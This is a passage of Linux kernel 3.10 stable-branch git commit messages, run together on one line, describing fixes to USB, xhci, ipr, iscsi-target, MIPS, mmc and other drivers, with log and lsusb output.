b3e00000: Version 050100a0, 8 Mb, IRQ 100 Attribute dbg_regs: write permission without 'store' ------------[ cut here ]------------ WARNING: at drivers/base/core.c:620 dbg_regs does not have a write function and must therefore be marked as read-only. Signed-off-by: Guenter Roeck Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e10df19e55d75c8a89ccb9a5830b8d3eaa2a43a2 Author: Xie XiuQi Date: Fri Jan 24 14:00:52 2014 -0600 ipmi: fix timeout calculation when bmc is disconnected commit e21404dc0ac7ac971c1e36274b48bb460463f4e5 upstream. Loading ipmi_si module while bmc is disconnected, we found the timeout is longer than 5 secs. Actually it takes about 3 mins and 20 secs.(HZ=250) error message as below: Dec 12 19:08:59 linux kernel: IPMI BT: timeout in RD_WAIT [ ] 1 retries left Dec 12 19:08:59 linux kernel: BT: write 4 bytes seq=0x01 03 18 00 01 [...] Dec 12 19:12:19 linux kernel: IPMI BT: timeout in RD_WAIT [ ] Dec 12 19:12:19 linux kernel: failed 2 retries, sending error response Dec 12 19:12:19 linux kernel: IPMI: BT reset (takes 5 secs) Dec 12 19:12:19 linux kernel: IPMI BT: flag reset [ ] Function wait_for_msg_done() use schedule_timeout_uninterruptible(1) to sleep 1 tick, so we should subtract jiffies_to_usecs(1) instead of 100 usecs from timeout. Reported-by: Hu Shiyuan Signed-off-by: Xie XiuQi Signed-off-by: Corey Minyard Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3ccc808baaffc1da948dfbd39688585eea851247 Author: Dirk Behme Date: Mon Jul 27 08:56:05 2015 +0200 USB: sierra: add 1199:68AB device ID commit 74472233233f577eaa0ca6d6e17d9017b6e53150 upstream. Add support for the Sierra Wireless AR8550 device with USB descriptor 0x1199, 0x68AB. It is common with MC879x modules 1199:683c/683d which also are composite devices with 7 interfaces (0..6) and also MDM62xx based as the AR8550. The major difference are only the interface attributes 02/02/01 on interfaces 3 and 4 on the AR8550. They are vendor specific ff/ff/ff on MC879x modules. lsusb reports: Bus 001 Device 004: ID 1199:68ab Sierra Wireless, Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x1199 Sierra Wireless, Inc. idProduct 0x68ab bcdDevice 0.06 iManufacturer 3 Sierra Wireless, Incorporated iProduct 2 AR8550 iSerial 0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 198 bNumInterfaces 7 bConfigurationValue 1 iConfiguration 1 Sierra Configuration bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 1 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x02 EP 2 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 2 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x83 EP 3 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x03 EP 3 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 3 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 2 Communications bInterfaceSubClass 2 Abstract (modem) bInterfaceProtocol 1 AT-commands (v.25ter) iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x84 EP 4 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x85 EP 5 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x04 EP 4 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 4 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 2 Communications bInterfaceSubClass 2 Abstract (modem) bInterfaceProtocol 1 AT-commands (v.25ter) iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x86 EP 6 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x87 EP 7 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x05 EP 5 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 5 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x88 EP 8 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x89 EP 9 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x06 EP 6 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 6 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x8a EP 10 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x8b EP 11 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x07 EP 7 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 1 Device Status: 0x0001 Self Powered Signed-off-by: Dirk Behme Cc: Lars Melin Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3c4d31a6b7b0d80d5ba8494c182cacdc6e4a4048 Author: Mathias Nyman Date: Mon Aug 3 16:07:48 2015 +0300 xhci: fix off by one error in TRB DMA address boundary check commit 7895086afde2a05fa24a0e410d8e6b75ca7c8fdd upstream. We need to check that a TRB is part of the current segment before calculating its DMA address. Previously a ring segment didn't use a full memory page, and every new ring segment got a new memory page, so the off by one error in checking the upper bound was never seen. Now that we use a full memory page, 256 TRBs (4096 bytes), the off by one didn't catch the case when a TRB was the first element of the next segment. This is triggered if the virtual memory pages for a ring segment are next to each in increasing order where the ring buffer wraps around and causes errors like: [ 106.398223] xhci_hcd 0000:00:14.0: ERROR Transfer event TRB DMA ptr not part of current TD ep_index 0 comp_code 1 [ 106.398230] xhci_hcd 0000:00:14.0: Looking for event-dma fffd3000 trb-start fffd4fd0 trb-end fffd5000 seg-start fffd4000 seg-end fffd4ff0 The trb-end address is one outside the end-seg address. Tested-by: Arkadiusz MiÅ›kiewicz Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b058d443ab28867fc265ba87a442b1651c0eea19 Author: Brian King Date: Tue Jul 14 11:41:33 2015 -0500 ipr: Fix invalid array indexing for HRRQ commit 3f1c0581310d5d94bd72740231507e763a6252a4 upstream. Fixes another signed / unsigned array indexing bug in the ipr driver. Currently, when hrrq_index wraps, it becomes a negative number. We do the modulo, but still have a negative number, so we end up indexing backwards in the array. Given where the hrrq array is located in memory, we probably won't actually reference memory we don't own, but nonetheless ipr is still looking at data within struct ipr_ioa_cfg and interpreting it as struct ipr_hrr_queue data, so bad things could certainly happen. Each ipr adapter has anywhere from 1 to 16 HRRQs. By default, we use 2 on new adapters. Let's take an example: Assume ioa_cfg->hrrq_index=0x7fffffffe and ioa_cfg->hrrq_num=4: The atomic_add_return will then return -1. We mod this with 3 and get -2, add one and get -1 for an array index. On adapters which support more than a single HRRQ, we dedicate HRRQ to adapter initialization and error interrupts so that we can optimize the other queues for fast path I/O. So all normal I/O uses HRRQ 1-15. So we want to spread the I/O requests across those HRRQs. With the default module parameter settings, this bug won't hit, only when someone sets the ipr.number_of_msix parameter to a value larger than 3 is when bad things start to happen. Tested-by: Wen Xiong Reviewed-by: Wen Xiong Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Reviewed-by: Martin K. Petersen Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4344d9957734e4b7bbefd834d1b4a9080a68f1bf Author: Brian King Date: Tue Jul 14 11:41:31 2015 -0500 ipr: Fix incorrect trace indexing commit bb7c54339e6a10ecce5c4961adf5e75b3cf0af30 upstream. When ipr's internal driver trace was changed to an atomic, a signed/unsigned bug slipped in which results in us indexing backwards in our memory buffer writing on memory that does not belong to us. This patch fixes this by removing the modulo and instead just mask off the low bits. Tested-by: Wen Xiong Reviewed-by: Wen Xiong Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Reviewed-by: Martin K. Petersen Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03447144919abaa3e67747a6d9385be241ff6060 Author: Brian King Date: Tue Jul 14 11:41:29 2015 -0500 ipr: Fix locking for unit attention handling commit 36b8e180e1e929e00b351c3b72aab3147fc14116 upstream. Make sure we have the host lock held when calling scsi_report_bus_reset. Fixes a crash seen as the __devices list in the scsi host was changing as we were iterating through it. Reviewed-by: Wen Xiong Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Brian King Reviewed-by: Martin K. Petersen Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08dfcf5ed8560aaf9b5b3dd3a38e6dca2007ab15 Author: Alex Deucher Date: Mon Jul 27 19:24:31 2015 -0400 drm/radeon/combios: add some validation of lvds values commit 0a90a0cff9f429f886f423967ae053150dce9259 upstream. Fixes a broken hsync start value uncovered by: abc0b1447d4974963548777a5ba4a4457c82c426 (drm: Perform basic sanity checks on probed modes) The driver handled the bad hsync start elsewhere, but the above commit prevented it from getting added. bug: https://bugs.freedesktop.org/show_bug.cgi?id=91401 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c041a5348eb8b8db59ddb4ef25c7c91f1a12da75 Author: Jan Kara Date: Thu Aug 6 15:46:42 2015 -0700 fsnotify: fix oops in fsnotify_clear_marks_by_group_flags() commit 8f2f3eb59dff4ec538de55f2e0592fec85966aab upstream. fsnotify_clear_marks_by_group_flags() can race with fsnotify_destroy_marks() so that when fsnotify_destroy_mark_locked() drops mark_mutex, a mark from the list iterated by fsnotify_clear_marks_by_group_flags() can be freed and thus the next entry pointer we have cached may become stale and we dereference free memory. Fix the problem by first moving marks to free to a special private list and then always free the first entry in the special list. This method is safe even when entries from the list can disappear once we drop the lock. Signed-off-by: Jan Kara Reported-by: Ashish Sangwan Reviewed-by: Ashish Sangwan Cc: Lino Sanfilippo Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bfb9cd7ce2ff4560493a82a436919b3cfd14e280 Author: David Daney Date: Mon Aug 3 17:48:43 2015 -0700 MIPS: Make set_pte() SMP safe. commit 46011e6ea39235e4aca656673c500eac81a07a17 upstream. On MIPS the GLOBAL bit of the PTE must have the same value in any aligned pair of PTEs. These pairs of PTEs are referred to as "buddies". In a SMP system is is possible for two CPUs to be calling set_pte() on adjacent PTEs at the same time. There is a race between setting the PTE and a different CPU setting the GLOBAL bit in its buddy PTE. This race can be observed when multiple CPUs are executing vmap()/vfree() at the same time. Make setting the buddy PTE's GLOBAL bit an atomic operation to close the race condition. The case of CONFIG_64BIT_PHYS_ADDR && CONFIG_CPU_MIPS32 is *not* handled. Signed-off-by: David Daney Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/10835/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dacbbfe16e57953a69932676c367e271fcb7b4c9 Author: Felix Fietkau Date: Sun Jul 19 00:38:41 2015 +0200 MIPS: Fix sched_getaffinity with MT FPAFF enabled commit 1d62d737555e1378eb62a8bba26644f7d97139d2 upstream. p->thread.user_cpus_allowed is zero-initialized and is only filled on the first sched_setaffinity call. To avoid adding overhead in the task initialization codepath, simply OR the returned mask in sched_getaffinity with p->cpus_allowed. Signed-off-by: Felix Fietkau Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/10740/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a085429622b55167d01651a8b2d4d4e17a6853d Author: Arnd Bergmann Date: Sun Mar 16 21:00:25 2014 +0100 ARM: realview: fix sparsemem build commit dd94d3558947756b102b1487911acd925224a38c upstream. Commit b713aa0b15 "ARM: fix asm/memory.h build error" broke some configurations on mach-realview with sparsemem enabled, which is missing a definition of PHYS_OFFSET: arch/arm/include/asm/memory.h:268:42: error: 'PHYS_OFFSET' undeclared (first use in this function) #define PHYS_PFN_OFFSET ((unsigned long)(PHYS_OFFSET >> PAGE_SHIFT)) arch/arm/include/asm/dma-mapping.h:104:9: note: in expansion of macro 'PHYS_PFN_OFFSET' return PHYS_PFN_OFFSET + dma_to_pfn(dev, *dev->dma_mask); An easy workaround is for realview to define PHYS_OFFSET itself, in the same way we define it for platforms that don't have a private __virt_to_phys function. Signed-off-by: Arnd Bergmann Cc: Russell King Cc: Linus Walleij Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7c6118527207d83c6090890054df7879c60db304 Author: Greg Kroah-Hartman Date: Mon Aug 10 12:22:47 2015 -0700 Linux 3.10.86 Signed-off-by: Pranav Vashi commit 3f074a9a0b43d093a571848c3c57ca7ed52c7756 Author: Fupan Li Date: Tue Aug 4 09:51:21 2015 +0800 efi: fix 32bit kernel boot failed problem using efi Commit 35d5134b7d5a ("x86/efi: Correct EFI boot stub use of code32_start") imported a bug, which will cause 32bit kernel boot failed using efi method. It should use the label's address instead of the value stored in the label to caculate the address of code32_start. Signed-off-by: Fupan Li Reviewed-by: Matt Fleming Signed-off-by: Pranav Vashi commit 55a02e26545d26d651a890cffdceb9df32c9be18 Author: Nicholas Bellinger Date: Thu Jul 23 22:30:31 2015 +0000 iscsi-target: Fix iser explicit logout TX kthread leak commit 007d038bdf95ccfe2491d0078be54040d110fd06 upstream. This patch fixes a regression introduced with the following commit in v4.0-rc1 code, where an explicit iser-target logout would result in ->tx_thread_active being incorrectly cleared by the logout post handler, and subsequent TX kthread leak: commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h To address this bug, change iscsit_logout_post_handler_closesession() and iscsit_logout_post_handler_samecid() to only cmpxchg() on ->tx_thread_active for traditional iscsi/tcp connections. This is required because iscsi/tcp connections are invoking logout post handler logic directly from TX kthread context, while iser connections are invoking logout post handler logic from a seperate workqueue context. Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5e31250af86b040468eff027a16d164a3600f32 Author: Nicholas Bellinger Date: Wed Jul 22 00:24:09 2015 -0700 iscsi-target: Fix use-after-free during TPG session shutdown commit 417c20a9bdd1e876384127cf096d8ae8b559066c upstream. This patch fixes a use-after-free bug in iscsit_release_sessions_for_tpg() where se_portal_group->session_lock was incorrectly released/re-acquired while walking the active se_portal_group->tpg_sess_list. The can result in a NULL pointer dereference when iscsit_close_session() shutdown happens in the normal path asynchronously to this code, causing a bogus dereference of an already freed list entry to occur. To address this bug, walk the session list checking for the same state as before, but move entries to a local list to avoid dropping the lock while walking the active list. As before, signal using iscsi_session->session_restatement=1 for those list entries to be released locally by iscsit_free_session() code. Reported-by: Sunilkumar Nadumuttlu Cc: Sunilkumar Nadumuttlu Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7f9e091b4f9a21d619ca0342a61f2e842c0b4c47 Author: Marc-André Lureau Date: Fri Jul 17 15:32:03 2015 +0200 vhost: actually track log eventfd file commit 7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5 upstream. While reviewing vhost log code, I found out that log_file is never set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). Signed-off-by: Marc-André Lureau Signed-off-by: Michael S. Tsirkin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e05bc2259ab5610054a1d55b23e71198e9c07bd Author: Wengang Wang Date: Mon Jul 6 14:35:11 2015 +0800 rds: rds_ib_device.refcount overflow commit 4fabb59449aa44a585b3603ffdadd4c5f4d0c033 upstream. Fixes: 3e0249f9c05c ("RDS/IB: add refcount tracking to struct rds_ib_device") There lacks a dropping on rds_ib_device.refcount in case rds_ib_alloc_fmr failed(mr pool running out). this lead to the refcount overflow. A complain in line 117(see following) is seen. From vmcore: s_ib_rdma_mr_pool_depleted is 2147485544 and rds_ibdev->refcount is -2147475448. That is the evidence the mr pool is used up. so rds_ib_alloc_fmr is very likely to return ERR_PTR(-EAGAIN). 115 void rds_ib_dev_put(struct rds_ib_device *rds_ibdev) 116 { 117 BUG_ON(atomic_read(&rds_ibdev->refcount) <= 0); 118 if (atomic_dec_and_test(&rds_ibdev->refcount)) 119 queue_work(rds_wq, &rds_ibdev->free_work); 120 } fix is to drop refcount when rds_ib_alloc_fmr failed. Signed-off-by: Wengang Wang Reviewed-by: Haggai Eran Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6d5735e4c3aa58a09c07374fa56de184705cb43 Author: Zhuang Jin Can Date: Tue Jul 21 17:20:30 2015 +0300 xhci: prevent bus_suspend if SS port resuming in phase 1 commit fac4271d1126c45ceaceb7f4a336317b771eb121 upstream. When the link is just waken, it's in Resume state, and driver sets PLS to U0. This refers to Phase 1. Phase 2 refers to when the link has completed the transition from Resume state to U0. With the fix of xhci: report U3 when link is in resume state, it also exposes an issue that usb3 roothub and controller can suspend right after phase 1, and this causes a hard hang in controller. To fix the issue, we need to prevent usb3 bus suspend if any port is resuming in phase 1. [merge separate USB2 and USB3 port resume checking to one -Mathias] Signed-off-by: Zhuang Jin Can Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29d7c07253f81769ad1ce74a3e6c64c52c381b0c Author: Zhuang Jin Can Date: Tue Jul 21 17:20:29 2015 +0300 xhci: report U3 when link is in resume state commit 243292a2ad3dc365849b820a64868927168894ac upstream. xhci_hub_report_usb3_link_state() returns pls as U0 when the link is in resume state, and this causes usb core to think the link is in U0 while actually it's in resume state. When usb core transfers control request on the link, it fails with TRB error as the link is not ready for transfer. To fix the issue, report U3 when the link is in resume state, thus usb core knows the link it's not ready for transfer. Signed-off-by: Zhuang Jin Can Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1fe1653398584620ad5795148236426d9ff0c50 Author: Brian Campbell Date: Tue Jul 21 17:20:28 2015 +0300 xhci: Calculate old endpoints correctly on device reset commit 326124a027abc9a7f43f72dc94f6f0f7a55b02b3 upstream. When resetting a device the number of active TTs may need to be corrected by xhci_update_tt_active_eps, but the number of old active endpoints supplied to it was always zero, so the number of TTs and the bandwidth reserved for them was not updated, and could rise unnecessarily. This affected systems using Intel's Patherpoint chipset, which rely on software bandwidth checking. For example, a Lenovo X230 would lose the ability to use ports on the docking station after enough suspend/resume cycles because the bandwidth calculated would rise with every cycle when a suitable device is attached. The correct number of active endpoints is calculated in the same way as in xhci_reserve_bandwidth. Signed-off-by: Brian Campbell Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1823ae708d8e5f88fcdc4d1509ee4320a5e700cf Author: Oliver Neukum Date: Mon Jul 6 13:12:32 2015 +0200 usb-storage: ignore ZTE MF 823 card reader in mode 0x1225 commit 5fb2c782f451a4fb9c19c076e2c442839faf0f76 upstream. This device automatically switches itself to another mode (0x1405) unless the specific access pattern of Windows is followed in its initial mode. That makes a dirty unmount of the internal storage devices inevitable if they are mounted. So the card reader of such a device should be ignored, lest an unclean removal become inevitable. This replaces an earlier patch that ignored all LUNs of this device. That patch was overly broad. Signed-off-by: Oliver Neukum Reviewed-by: Lars Melin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9f808cfe93a9753357f81f38bd0c34a0f7f30dcb Author: Lior Amsalem Date: Tue Jun 30 16:09:49 2015 +0200 ata: pmp: add quirk for Marvell 4140 SATA PMP commit 945b47441d83d2392ac9f984e0267ad521f24268 upstream. This commit adds the necessary quirk to make the Marvell 4140 SATA PMP work properly. This PMP doesn't like SRST on port number 4 (the host port) so this commit marks this port as not supporting SRST. Signed-off-by: Lior Amsalem Reviewed-by: Nadav Haklai Signed-off-by: Thomas Petazzoni Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54203094c3185843142138363fd98c0aa41489e5 Author: Tejun Heo Date: Wed Jul 22 18:05:53 2015 -0400 blkcg: fix gendisk reference leak in blkg_conf_prep() commit 5f6c2d2b7dbb541c1e922538c49fa04c494ae3d7 upstream. When a blkcg configuration is targeted to a partition rather than a whole device, blkg_conf_prep fails with -EINVAL; unfortunately, it forgets to put the gendisk ref in that case. Fix it. Signed-off-by: Tejun Heo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10d8ebce432fc688773e47f087aa633d096411ee Author: Bernhard Bender Date: Thu Jul 23 13:58:08 2015 -0700 Input: usbtouchscreen - avoid unresponsive TSC-30 touch screen commit 968491709e5b1aaf429428814fff3d932fa90b60 upstream. This patch fixes a problem in the usbtouchscreen driver for DMC TSC-30 touch screen. Due to a missing delay between the RESET and SET_RATE commands, the touch screen may become unresponsive during system startup or driver loading. According to the DMC documentation, a delay is needed after the RESET command to allow the chip to complete its internal initialization. As this delay is not guaranteed, we had a system where the touch screen occasionally did not send any touch data. There was no other indication of the problem. The patch fixes the problem by adding a 150ms delay between the RESET and SET_RATE commands. Suggested-by: Jakob Mustafa Signed-off-by: Bernhard Bender Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eace7c317caed4b41505feaa152ef9d88f07f97f Author: Chris Metcalf Date: Thu Jul 23 14:11:09 2015 -0400 tile: use free_bootmem_late() for initrd commit 3f81d2447b37ac697b3c600039f2c6b628c06e21 upstream. We were previously using free_bootmem() and just getting lucky that nothing too bad happened. Signed-off-by: Chris Metcalf Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e3c26f01851e4546dcc76b4345ef95da52f4211 Author: NeilBrown Date: Fri Jul 24 09:22:16 2015 +1000 md/raid1: fix test for 'was read error from last working device'. commit 34cab6f42003cb06f48f86a86652984dec338ae9 upstream. When we get a read error from the last working device, we don't try to repair it, and don't fail the device. We simple report a read error to the caller. However the current test for 'is this the last working device' is wrong. When there is only one fully working device, it assumes that a non-faulty device is that device. However a spare which is rebuilding would be non-faulty but so not the only working device. So change the test from "!Faulty" to "In_sync". If ->degraded says there is only one fully working device and this device is in_sync, this must be the one. This bug has existed since we allowed read_balance to read from a recovering spare in v3.0 Reported-and-tested-by: Alexander Lyakas Fixes: 76073054c95b ("md/raid1: clean up read_balance.") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5efe14bbd2c97545f085770d832cee347109b4b2 Author: Jingju Hou Date: Thu Jul 23 17:56:23 2015 +0800 mmc: sdhci-pxav3: fix platform_data is not initialized commit 9cd76049f0d90ae241f5ad80e311489824527000 upstream. pdev->dev.platform_data is not initialized if match is true in function sdhci_pxav3_probe. Just local variable pdata is assigned the return value from function pxav3_get_mmc_pdata(). static int sdhci_pxav3_probe(struct platform_device *pdev) { struct sdhci_pxa_platdata *pdata = pdev->dev.platform_data; ... if (match) { ret = mmc_of_parse(host->mmc); if (ret) goto err_of_parse; sdhci_get_of_property(pdev); pdata = pxav3_get_mmc_pdata(dev); } ... } Signed-off-by: Jingju Hou Fixes: b650352dd3df("mmc: sdhci-pxa: Add device tree support") Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2534627a481b3f9f496d0055791ff6367f1c46e4 Author: Joakim Tjernlund Date: Wed Jul 22 16:44:26 2015 +0200 mmc: sdhci-esdhc: Make 8BIT bus work commit 8e91125ff3f57f15c6568e2a6d32743b3f7815e4 upstream. Support for 8BIT bus with was added some time ago to sdhci-esdhc but then missed to remove the 8BIT from the reserved bit mask which made 8BIT non functional. Fixes: 66b50a00992d ("mmc: esdhc: Add support for 8-bit bus width and..") Signed-off-by: Joakim Tjernlund Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f57f2e4fafbd87673007f39d27c57f24f6c0b7d6 Author: Tom Hughes Date: Mon Jun 29 19:41:49 2015 +0100 mac80211: clear subdir_stations when removing debugfs commit 4479004e6409087d1b4986881dc98c6c15dffb28 upstream. If we don't do this, and we then fail to recreate the debugfs directory during a mode change, then we will fail later trying to add stations to this now bogus directory: BUG: unable to handle kernel NULL pointer dereference at 0000006c IP: [] mutex_lock+0x12/0x30 Call Trace: [] start_creating+0x44/0xc0 [] debugfs_create_dir+0x13/0xf0 [] ieee80211_sta_debugfs_add+0x6e/0x490 [mac80211] Signed-off-by: Tom Hughes Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8654b4f3f2e0fac438c3f94bc4a9c3eff1e5dfb7 Author: Seymour, Shane M Date: Thu Jul 2 12:01:10 2015 +0000 st: null pointer dereference panic caused by use after kref_put by st_open commit e7ac6c6666bec0a354758a1298d3231e4a635362 upstream. Two SLES11 SP3 servers encountered similar crashes simultaneously following some kind of SAN/tape target issue: ... qla2xxx [0000:81:00.0]-801c:3: Abort command issued nexus=3:0:2 -- 1 2002. qla2xxx [0000:81:00.0]-801c:3: Abort command issued nexus=3:0:2 -- 1 2002. qla2xxx [0000:81:00.0]-8009:3: DEVICE RESET ISSUED nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800c:3: do_reset failed for cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-800f:3: DEVICE RESET FAILED: Task management failed nexus=3:0:2 cmd=ffff882f89c2c7c0. qla2xxx [0000:81:00.0]-8009:3: TARGET RESET ISSUED nexus=3:0:2 